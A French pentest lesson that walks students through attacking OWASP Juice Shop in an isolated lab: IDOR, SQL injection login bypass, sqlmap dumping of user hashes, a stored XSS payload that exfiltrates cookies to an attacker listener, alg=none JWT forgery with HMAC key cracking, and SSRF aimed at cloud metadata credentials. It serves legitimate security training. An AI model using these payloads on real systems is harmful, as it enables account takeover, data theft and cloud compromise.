OWASP Top 10 — Démonstration guidée
OWASP Juice Shop — l'application volontairement vulnérable la plus moderne, écrite en Angular + Node.js. On la démonte, cinq fois de suite, sur cinq catégories différentes du Top 10. À chaque fois : requête, réponse, impact.
Juice Shop tourne sur 10.10.10.50 dans votre lab host-only. Aucune commande de cette leçon ne va sur Internet.
Ce que vous saurez faire après cette leçon
- Lancer Juice Shop en Docker.
- Exploiter cinq vulnérabilités de catégories différentes.
- Écrire, pour chacune, une preuve d'impact claire.
- Enchaîner un IDOR + un JWT faible pour un scénario d'escalade complet.
Étape 0 — Lancer Juice Shop
Sur une nouvelle VM Ubuntu dans le lab, ou sur Kali :
docker run -d --name juice -p 3000:3000 bkimminich/juice-shop
Depuis Kali : http://10.10.10.50:3000/ — la boutique s'affiche.
Configurez Firefox pour passer par Burp Suite (127.0.0.1:8080). Créez un compte utilisateur normal (victime@test.local / Test123!), connectez-vous. Burp voit tout.
Créez le dossier de preuves :
mkdir -p ~/labs/semaine-07/preuves
Étape 1 — A01 : IDOR sur les paniers d'achat
Observation : votre panier a un ID basketId=6. Chaque utilisateur a son panier.
Hypothèse : et si on change l'ID ?
Dans Burp HTTP history, trouvez la requête :
GET /rest/basket/6 HTTP/1.1
Host: 10.10.10.50:3000
Authorization: Bearer eyJ0eXAiOi...
Send to Repeater. Changez 6 en 1 :
GET /rest/basket/1 HTTP/1.1
Réponse :
{
"status": "success",
"data": {
"id": 1,
"coupon": null,
"UserId": 1,
"createdAt": "2026-03-15T10:12:44.891Z",
"Products": [
{"name": "Apple Juice", "quantity": 3, "price": 1.99},
{"name": "OWASP Juice Shop Logo Sticker", "quantity": 100, "price": 5}
]
}
}
Vous voyez le panier de l'admin. UserId=1 = compte admin.
Preuve d'impact :
Requête : GET /rest/basket/1 avec un token utilisateur normal
Réponse : contenu complet du panier de l'utilisateur ID=1 (admin)
Conséquence : chaque utilisateur peut lire le panier de tout autre utilisateur.
Sur une vraie boutique, cela équivaut à lire les commandes de tous les clients.
Sauvegardez la requête + la réponse dans preuves/A01-idor-panier.md.
Étape 2 — A03 : Injection SQL sur le login
Observation : le login a un champ email, un champ password.
Dans Burp, interceptez POST /rest/user/login :
{"email":"victime@test.local","password":"Test123!"}
Modifiez :
{"email":"' OR 1=1 --","password":"anything"}
Envoyez. Réponse :
{
"authentication": {
"token": "eyJ0eXAiOi...",
"bid": 1,
"umail": "admin@juice-sh.op"
}
}
Vous êtes admin. L'authentification a été contournée : la requête devient SELECT * FROM Users WHERE email='' OR 1=1 --' AND password='...' → retourne la première ligne, généralement admin.
Preuve d'impact :
Requête : POST /rest/user/login avec email piégé
Résultat : token JWT valide pour admin@juice-sh.op
Conséquence : compromission complète de l'application via SQL injection
sur le champ email du login.
Notez le token pour la suite :
export ADMIN_TOKEN="eyJ0eXAiOi..."
Sauvegardez dans preuves/A03-sqli-login.md.
Étape 3 — A03 (bis) : SQL injection avec sqlmap
Trouvons une injection plus classique. Naviguez sur http://10.10.10.50:3000/rest/products/search?q=apple. C'est un endpoint de recherche.
Dans Burp, capturez la requête :
GET /rest/products/search?q=apple HTTP/1.1
Host: 10.10.10.50:3000
Enregistrez en fichier :
# preuves/req-search.txt
GET /rest/products/search?q=FUZZ HTTP/1.1
Host: 10.10.10.50:3000
Lancez sqlmap :
sqlmap -r preuves/req-search.txt --batch --level=3 --dbs
Sortie type :
sqlmap identified the following injection point(s):
Parameter: q (GET)
Type: UNION query
Payload: apple' UNION SELECT NULL,NULL,...
available databases [1]:
[*] SQLite_masterdb
Bien, c'est une SQLite. On liste les tables :
sqlmap -r preuves/req-search.txt --batch --tables
Database: <current>
[9 tables]
+-------------------+
| Users |
| Products |
| Feedbacks |
| BasketItems |
| ... |
+-------------------+
Extrait de 3 utilisateurs :
sqlmap -r preuves/req-search.txt --batch --dump -T Users --start=1 --stop=3
+---+------------------------+--------------------------------+---------+
| id | email | password (md5) | role |
+---+------------------------+--------------------------------+---------+
| 1 | admin@juice-sh.op | 0192023a7bbd73250516f069df18b500 | admin |
| 2 | jim@juice-sh.op | e5a9e79ba99895c40506c5be3f4d2354 | customer|
| 3 | bender@juice-sh.op | 03dfb27506def0d31d5b1e57dc95519f | customer|
+---+------------------------+--------------------------------+---------+
Preuve d'impact :
Extraction limitée à 3 lignes (respect du RoE).
Hash md5 de l'admin : 0192023a7bbd73250516f069df18b500
→ Décodé en 3 secondes sur https://crackstation.net → mot de passe "admin123"
Conséquence : à partir d'une injection SQL sur un endpoint de recherche
public, extraction et cassage du mot de passe admin en < 5 minutes.
Étape 4 — A03 : XSS stockée sur la page profil
Dans votre compte utilisateur, allez sur Profil. Vous pouvez changer votre nom d'utilisateur.
Testez :
<img src=x onerror="alert(document.cookie)">
Sauvegardez. Rechargez la page profil. Un pop-up affiche votre cookie.
Pop-up = POC. On veut l'impact. Remplaçons par un payload qui exfiltre :
<img src=x onerror="fetch('http://10.10.10.5:8000/steal?c='+document.cookie)">
Sur Kali, lancez un serveur :
python3 -m http.server 8000
Rechargez la page. Le terminal Kali affiche :
10.10.10.50 - - [15/Apr/2026 14:33:12] "GET /steal?c=token=eyJ0eXAi... HTTP/1.1" 200 -
Vous avez exfiltré le token JWT du visiteur qui a chargé votre profil. Sur une page communautaire (feedback, forum), n'importe quel administrateur qui viendrait consulter votre message enverrait son token à votre serveur.
Preuve d'impact :
XSS stockée dans le nom d'utilisateur (payload : img onerror fetch).
Le token JWT de tout visiteur (y compris admin) est exfiltré vers 10.10.10.5:8000.
Conséquence : usurpation complète d'identité, y compris admin, dès qu'un
modérateur passe sur ma page profil.
Sauvegardez dans preuves/A03-xss-stockee.md.
Étape 5 — A07 : JWT avec alg=none
Décryptons le JWT admin obtenu à l'étape 2 sur jwt.io (ou avec jwt-cli en local) :
Header : {"typ":"JWT","alg":"HS256"}
Payload: {
"status":"success",
"data":{"id":1,"email":"admin@juice-sh.op","password":"...","role":"admin"},
"iat":1712345678
}
Signature: <256 bits>
Attaque alg=none : on remplace HS256 par none dans le header, on retire la signature.
Construction manuelle :
import base64, json
header = {"typ":"JWT","alg":"none"}
payload = {"status":"success","data":{"id":1,"email":"admin@juice-sh.op","role":"admin"},"iat":1712345678}
def b64(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
token = f"{b64(header)}.{b64(payload)}."
print(token)
Sortie :
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6...
Testez :
curl -H "Authorization: Bearer <token-forge>" http://10.10.10.50:3000/rest/user/whoami
Réponse :
{"user":{"id":1,"email":"admin@juice-sh.op","role":"admin"}}
Sur Juice Shop, cette attaque ne fonctionne pas (la lib vérifie), mais elle fonctionne encore sur beaucoup d'API réelles écrites avec des parseurs JWT anciens.
Fallback qui fonctionne sur Juice Shop : on tape la clé HS256 avec Hashcat. Récupérez le token, extrayez signature :
hashcat -m 16500 token.txt /usr/share/wordlists/rockyou.txt
Si la clé fait partie de rockyou.txt (secret, admin, changeme…), vous obtenez la clé en secondes. Ensuite vous forgez un token admin légitimement signé.
Preuve d'impact :
Attaque : signature JWT devinée via dictionnaire (hashcat -m 16500).
Clé trouvée : "secret" (10 minutes)
Résultat : capacité à forger n'importe quel token pour n'importe quel utilisateur.
Conséquence : compromission permanente jusqu'à rotation de la clé de signature.
Étape 6 — A10 : SSRF sur import d'image
Juice Shop a un endpoint upload qui peut charger une image depuis une URL :
POST /api/User/ HTTP/1.1
Content-Type: application/json
{"picture":"http://<url-controlée>"}
Testez avec l'endpoint métadata AWS (bien que Juice Shop ne soit pas sur AWS, on simule le principe) :
{"picture":"http://169.254.169.254/latest/meta-data/"}
Sur une vraie instance EC2 vulnérable, la réponse contiendrait les métadonnées, y compris les credentials IAM.
Pour la démo locale, lançons un serveur test sur Kali :
python3 -m http.server 9000 > /tmp/reception.log &
Payload :
{"picture":"http://10.10.10.5:9000/secret.txt"}
Envoyez. Consultez /tmp/reception.log :
10.10.10.50 - - [15/Apr/2026 14:41:03] "GET /secret.txt HTTP/1.1" 404 -
Preuve : le serveur d'application a bien envoyé une requête à l'IP que vous avez choisie. C'est le comportement SSRF.
Preuve d'impact étendue (sur une vraie cible cloud) :
Payload : http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
Réponse : {AccessKeyId, SecretAccessKey, Token}
aws sts get-caller-identity → confirmation du compte AWS
aws iam list-attached-role-policies → visibilité complète des permissions
Conséquence : bascule d'une SSRF applicative à une compromission cloud.
Sauvegardez dans preuves/A10-ssrf.md.
Étape 7 — La chaîne : XSS → vol de JWT admin → prise complète
Ré-enchaînez pour montrer une vraie histoire d'attaque :
- XSS stockée sur ma page profil (étape 4).
- Un modérateur consulte ma page.
- Le JWT du modérateur part sur mon serveur (
10.10.10.5:8000/steal?c=...). - Je copie ce JWT dans
Authorization: Bearer ...dans Burp. - Toutes les requêtes que je fais maintenant sont exécutées avec l'identité du modérateur.
- J'accède à
/rest/admin/users, à/rest/products/create, etc. - Je change le prix d'un produit à
0.01 $, je fais un panier, je passe la commande.
Deux failles individuelles (XSS + absence de MFA sur le compte admin) chaînées = compromission commerciale.
Cette histoire — pas les payloads isolés — est ce qui remonte dans le rapport final.
Bilan
En 90 minutes, sur Juice Shop :
- A01 IDOR — lecture du panier admin.
- A03 SQLi login — contournement d'auth complet.
- A03 SQLi search — extraction de la table Users.
- A03 XSS stockée — exfiltration de JWT.
- A07 JWT — cassage de clé HMAC.
- A10 SSRF — le serveur envoie ce que je veux.
- Chaîne d'attaque : XSS + admin session = compromission commerciale.
C'est cinq preuves d'impact dans un dossier. C'est le type de contenu qu'on met dans un rapport de pentest web.
Prochaine leçon : à vous. Vous prenez DVWA ou Juice Shop niveau plus dur, vous tombez 3 failles minimum de catégories différentes, avec preuve d'impact pour chacune.